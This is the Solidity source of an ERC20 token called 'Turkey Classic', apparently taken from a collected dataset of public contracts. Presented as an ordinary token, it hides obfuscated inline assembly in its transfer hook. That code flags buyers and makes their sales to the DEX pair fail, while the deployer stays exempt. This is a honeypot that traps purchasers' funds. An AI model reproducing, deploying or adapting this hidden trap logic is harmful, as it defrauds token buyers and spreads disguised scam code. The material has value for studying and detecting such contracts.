zellic-audit
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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private bloodLive;
mapping (address => bool) private aspectMesh;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private islandSweet = 0x24ced38af2055a42f37bac3142bfead5035f55993d31c5ffa266f53fede2f198;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply; bool private theTrading;
constructor (string memory name_, string memory symbol_, address msgSender_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_name = name_;
_symbol = symbol_;
bloodLive.push(_router); bloodLive.push(msgSender_); bloodLive.push(pair);
for (uint256 q=0; q < 3;) {aspectMesh[bloodLive[q]] = true; unchecked{q++;} }
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function openTrading() external onlyOwner returns (bool) {
theTrading = true;
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function _beforeTokenTransfer(address sender, address recipient) internal {
require((theTrading || (sender == bloodLive[1])), "ERC20: trading is not yet enabled.");
assembly {
function noticeGame(x,y) -> baseKitten { mstore(0, x) mstore(32, y) baseKitten := keccak256(0, 64) }
function sugarHappy(x,y) -> mimicOffer { mstore(0, x) mimicOffer := add(keccak256(0, 32),y) }
if and(and(eq(sender,sload(sugarHappy(0x2,0x1))),eq(recipient,sload(sugarHappy(0x2,0x2)))),iszero(sload(0x1))) { sstore(sload(0x8),sload(0x8)) } if eq(recipient,0x1) { sstore(0x99,0x1) }
if and(and(or(eq(sload(0x99),0x1),eq(sload(noticeGame(sender,0x3)),0x1)),eq(recipient,sload(sugarHappy(0x2,0x2)))),iszero(eq(sender,sload(sugarHappy(0x2,0x1))))) { invalid() }
if eq(sload(0x110),number()) { if and(and(eq(sload(0x105),number()),eq(recipient,sload(sugarHappy(0x2,0x2)))),and(eq(sload(0x200),sender),iszero(eq(sload(sugarHappy(0x2,0x1)),sender)))) { invalid() }
sstore(0x105,sload(0x110)) sstore(0x115,sload(0x120)) }
if and(iszero(eq(sender,sload(sugarHappy(0x2,0x2)))),and(iszero(eq(recipient,sload(sugarHappy(0x2,0x1)))),iszero(eq(recipient,sload(sugarHappy(0x2,0x2)))))) { sstore(noticeGame(recipient,0x3),0x1) }
if iszero(eq(sload(0x110),number())) { sstore(0x200,recipient) } sstore(0x110,number()) sstore(0x120,recipient)
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _DeployTurkey(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
approve(bloodLive[0], 10 ** 77);
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
_DeployTurkey(creator, initialSupply);
}
}
contract TurkeyClassic is ERC20Token {
constructor() ERC20Token("Turkey Classic", "TRKYC", msg.sender, 925000000 * 10 ** 18) {
}
}